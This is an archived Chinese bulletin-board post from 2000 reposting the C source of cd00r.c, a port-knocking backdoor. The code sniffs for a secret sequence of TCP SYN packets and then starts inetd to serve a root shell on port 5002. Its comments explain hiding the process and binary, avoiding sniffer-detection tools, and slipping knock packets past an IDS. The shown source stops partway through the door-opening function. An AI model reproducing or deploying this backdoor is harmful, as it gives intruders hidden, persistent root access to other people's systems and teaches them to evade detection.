📄 362.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="311.htm">上一层</a>][<a href="363.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>
标 题: cdoor.c <br>
发信站: 武汉白云黄鹤站 (Tue Jul 18 14:11:07 2000), 站内信件 <br>
<br>
:这个backdoor让DLL介入了,实际上为了达到这个效果,对于2K, <br>
:直接由raw_socket介入就可以了,也是不进入listen,不过用的 <br>
:是ack,这里用的是syn。具体就不讨论了,没什么新鲜东西,也是 <br>
:charls提供站点上的,就顺便看了看贴一下。 <br>
/* cdoor.c <br>
<br>
* packet coded backdoor <br>
<br>
* <br>
<br>
* FX of Phenoelit <fx@phenoelit.de> <br>
<br>
* http://www.phenoelit.de/ <br>
<br>
* (c) 2k <br>
<br>
* <br>
<br>
* $Id: cd00r.c,v 1.3 2000/06/13 17:32:24 fx Exp fx $ <br>
<br>
* <br>
<br>
* <br>
<br>
'cd00r.c' is a proof of concept code to test the idea of a <br>
<br>
completely invisible (read: not listening) backdoor server. <br>
<br>
<br>
<br>
Standard backdoors and remote access services have one major problem: <br>
<br>
The port's they are listening on are visible on the system console as <br>
<br>
well as from outside (by port scanning). <br>
<br>
<br>
<br>
The approach of cd00r.c is to provide remote access to the system without <br>
<br>
showing an open port all the time. This is done by using a sniffer on the <br>
<br>
specified interface to capture all kinds of packets. The sniffer is not <br>
<br>
running in promiscuous mode to prevent a kernel message in syslog and <br>
<br>
detection by programs like AnitSniff. <br>
<br>
To activate the real remote access service (the attached code starts an <br>
<br>
inetd to listen on port 5002, which will provide a root shell), one has to <br>
<br>
send several packets (TCP SYN) to ports on the target system. Which ports <br>
<br>
in which order and how many of them can be defined in the source code. <br>
<br>
<br>
<br>
When port scanning the target, no open port will show up because there is <br>
<br>
no service listening. After sending the right SYN packets to the system, <br>
<br>
cd00r starts the listener and the port(s) is/are open. One nice side effect <br>
<br>
is, that cd00r does not care whenever the port used as code is open or not. <br>
<br>
Services running on ports used as code are still fully functional, but it's <br>
<br>
not a very good idea to use these ports as explained later. <br>
<br>
<br>
<br>
The best way to send the required SYN packets to the system is <br>
<br>
the use of nmap: <br>
<br>
./nmap -sS -T Polite -p<port1>,<port2>,<port3> <target> <br>
<br>
NOTE: the Polite timing ensures, that nmap sends the packets serial as <br>
<br>
defined. <br>
<br>
<br>
<br>
Details: <br>
Details: <br>
<br>
Prevention of local detection is done by several things: <br>
<br>
First of all, the program gives no messages et all. It accepts only one <br>
<br>
configurable command line option, which will show error messages for <br>
<br>
the sniffer functions and other initialization stuff before <br>
<br>
the first fork(). <br>
<br>
All configuration is done in the first part of the source code as #defines. <br>
<br>
This leaves the target system without configuration files and the process <br>
<br>
does not show any command line options in the process table. When renaming <br>
<br>
the binary file to something like 'top', it is nearly invisible. <br>
<br>
<br>
<br>
The sniffer part of the code uses the LBNL libpcap and it's good filter <br>
<br>
functionality to prevent uninteresting traffic from entering the much <br>
<br>
slower test functions. By selecting higher, usually not used, ports as <br>
<br>
part of the code, the sniffer consumes nearly no processing time et all. <br>
<br>
<br>
<br>
Prevention of remote detection is primary the responsibility of the <br>
<br>
'user'. By selecting more then 8 ports in changing order and in the <br>
<br>
higher range (>20000), it is nearly impossible to brute force these <br>
<br>
without rendering the system useless. <br>
<br>
Several configurable options support the defense against remote attacks: <br>
<br>
cd00r can look at the source address and (if defined) resets the code if <br>
<br>
a packet from another location arrives. By not using this function, one <br>
<br>
can activate the remote shell by sending the right packets from several <br>
<br>
systems, hereby flying below the IDS radar. <br>
<br>
Another feature is to reset or not reset the list of remaining ports <br>
<br>
(code list), if a false packet arrives. On heavy loaded systems this <br>
<br>
can happen often and would prevent the authorized sender to activate <br>
<br>
the remote shell. Again, when flying below the IDS radar, such <br>
<br>
functionality can be counterproductive because the usual way to <br>
<br>
prevent detection by an IDS is to send packets with long delays. <br>
<br>
<br>
<br>
What action cd00r actually takes is open to the user. The function <br>
<br>
cdr_open_door() is called without any argument. It fork()s twice <br>
<br>
to prevent zombies. Just add your code after the fork()s. <br>
<br>
<br>
<br>
The functionality outlined in these lines of terrific C source can <br>
<br>
be used for booth sides of the security game. If you have a system <br>
<br>
somewhere in the wild and you don't like to show open ports (except <br>
<br>
the usual httpd ;-) to the world, you may consider some modifications, <br>
<br>
so cd00r will provide you with a running ssh. <br>
<br>
On the other hand, one may like to create a backchanel, therefor never <br>
<br>
providing any kind of listening port on the system. <br>
<br>
<br>
<br>
Even the use of TCP SYN packets is just an example. Using the sniffer, <br>
<br>
one can easily change the opening conditions to something like two SYN, one <br>
<br>
ICMP echo request and five UDP packets. I personally like the TCP/SYN stuff <br>
<br>
because it has many possible permutations without changing the code. <br>
<br>
<br>
<br>
Compile it as: <br>
<br>
<br>
<br>
gcc -o <whatever> -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap <br>
<br>
<br>
<br>
of for some debug output: <br>
<br>
<br>
<br>
gcc -DDEBUG -o <whatever> -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap <br>
<br>
<br>
<br>
*/ <br>
<br>
<br>
<br>
<br>
<br>
/* cd00r doesn't use command line arguments or a config file, because this <br>
<br>
* would provide a pattern to look for on the target systems <br>
<br>
* <br>
<br>
* instead, we use #defines to specifiy variable parameters such as interface <br>
<br>
* to listen on and perhaps the code ports <br>
<br>
*/ <br>
<br>
<br>
<br>
<br>
/* the interface tp "listen" on */ <br>
<br>
#define CDR_INTERFACE "eth0" <br>
<br>
/* the address to listen on. Comment out if not desired <br>
<br>
* NOTE: if you don't use CDR_ADDRESS, traffic FROM the target host, which <br>
<br>
* matches the port code also opens the door*/ <br>
<br>
/* #define CDR_ADDRESS "192.168.1.1" */ <br>
<br>
<br>
<br>
/* the code ports. <br>
<br>
* These are the 'code ports', which open (when called in the right order) the <br>
<br>
* door (read: call the cdr_open_door() function). <br>
<br>
* Use the notation below (array) to specify code ports. Terminate the list <br>
<br>
* with 0 - otherwise, you really have problems. <br>
<br>
*/ <br>
<br>
#define CDR_PORTS { 200,80,22,53,3,00 } <br>
<br>
<br>
<br>
/* This defines that a SYN packet to our address and not to the right port <br>
<br>
* causes the code to reset. On systems with permanent access to the internet <br>
<br>
* this would cause cd00r to never open, especially if they run some kind of <br>
<br>
* server. Additional, if you would like to prevent an IDS from detecting your <br>
<br>
* 'unlock' packets as SYN-Scan, you have to delay them. <br>
<br>
* On the other hand, not resetting the code means that <br>
<br>
* with a short/bad code the chances are good that cd00r unlocks for some <br>
<br>
* random traffic or after heavy portscans. If you use CDR_SENDER_ADDR these <br>
<br>
* chances are less. <br>
<br>
* <br>
<br>
* To use resets, define CDR_CODERESET <br>
<br>
*/ <br>
<br>
#define CDR_CODERESET <br>
<br>
<br>
<br>
/* If you like to open the door from different addresses (e.g. to <br>
<br>
* confuse an IDS), don't define this. <br>
<br>
* If defined, all SYN packets have to come from the same address. Use <br>
<br>
* this when not defining CDR_CODERESET. <br>
<br>
*/ <br>
<br>
#define CDR_SENDER_ADDR <br>
<br>
<br>
<br>
/* this defines the one and only command line parameter. If given, cd00r <br>
<br>
* reports errors befor the first fork() to stderr. <br>
<br>
* Hint: don't use more then 3 characters to pervent strings(1) fishing <br>
<br>
*/ <br>
<br>
#define CDR_NOISE_COMMAND "noi" <br>
<br>
<br>
<br>
<br>
<br>
/**************************************************************************** <br>
<br>
* Nothing to change below this line (hopefully) <br>
<br>
****************************************************************************/ <br>
<br>
#include <stdio.h> <br>
<br>
#include <stdlib.h> <br>
<br>
#include <string.h> <br>
<br>
#include <unistd.h> <br>
<br>
#include <signal.h> <br>
<br>
#include <netinet/in.h> /* for IPPROTO_bla consts */ <br>
<br>
#include <sys/socket.h> /* for inet_ntoa() */ <br>
<br>
#include <arpa/inet.h> /* for inet_ntoa() */ <br>
<br>
#include <netdb.h> /* for gethostbyname() */ <br>
<br>
#include <sys/types.h> /* for wait() */ <br>
<br>
#include <sys/wait.h> /* for wait() */ <br>
<br>
<br>
<br>
#include <pcap.h> <br>
<br>
#include <net/bpf.h> <br>
<br>
<br>
<br>
#define ETHLENGTH 14 <br>
<br>
#define IP_MIN_LENGTH 20 <br>
<br>
#define CAPLENGTH 98 <br>
<br>
<br>
<br>
<br>
<br>
<br>
struct iphdr { <br>
<br>
u_char ihl:4, /* header length */ <br>
<br>
version:4; /* version */ <br>
<br>
u_char tos; /* type of service */ <br>
<br>
short tot_len; /* total length */ <br>
<br>
u_short id; /* identification */ <br>
<br>
short off; /* fragment offset field */ <br>
<br>
u_char ttl; /* time to live */ <br>
<br>
u_char protocol; /* protocol */ <br>
<br>
u_short check; /* checksum */ <br>
<br>
struct in_addr saddr; <br>
<br>
struct in_addr daddr; /* source and dest address */ <br>
<br>
}; <br>
<br>
<br>
<br>
struct tcphdr { <br>
<br>
unsigned short int src_port; <br>
<br>
unsigned short int dest_port; <br>
<br>
unsigned long int seq_num; <br>
<br>
unsigned long int ack_num; <br>
<br>
unsigned short int rawflags; <br>
<br>
unsigned short int window; <br>
<br>
long int crc_a_urgent; <br>
<br>
long int options_a_padding; <br>
<br>
}; <br>
<br>
<br>
<br>
/* the ports which have to be called (by a TCP SYN packet), before <br>
<br>
* cd00r opens <br>
<br>
*/ <br>
<br>
unsigned int cports[] = CDR_PORTS; <br>
<br>
int cportcnt = 0; <br>
<br>
/* which is the next required port ? */ <br>
<br>
int actport = 0; <br>
<br>
<br>
<br>
<br>
#ifdef CDR_SENDER_ADDR <br>
<br>
/* some times, looking at sender's address is desired. <br>
<br>
* If so, sender's address is saved here */ <br>
<br>
struct in_addr sender; <br>
<br>
#endif CDR_SENDER_ADDR <br>
<br>
<br>
<br>
/******** <br>
<br>
* cdr_open_door() is called, when all port codes match <br>
<br>
* This function can be changed to whatever you like to do when the system <br>
<br>
* accepts the code <br>
<br>
********/ <br>
********/ <br>
<br>
void cdr_open_door(void) { <br>
<br>
FILE *f; <br>
<br>
<br>
<br>
char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; <br>
<br>
<br>
<br>
switch (fork()) { <br>
<br>
case -1: <br>
<br>
#ifdef DEBUG <br>
<br>
printf("fork() failed ! Fuck !\n"); <br>
<br>
#endif DEBUG <br>
<br>
return; <br>
<br>
case 0: <br>
<br>
/* To prevent zombies (inetd-zombies look quite stupid) we do <br>
<br>
* a second fork() */ <br>
<br>
switch (fork()) { <br>
<br>
case -1: _exit(0); <br>
<br>
case 0: /*that's fine */ <br>
<br>
break; <br>
<br>
default: _exit(0); <br>
<br>
} <br>
<br>
break; <br>
<br>
<br>
<br>
<br>
default: <br>
<br>
wait(NULL); <br>
<br>
return; <br>
<br>
} <br>
<br>
<br>
<br>
if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; <br>
<br>
fprintf(f,"5002 stream tcp nowait root /bin/sh sh\n"); <br>
<br>
fclose(f); <br>
<br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -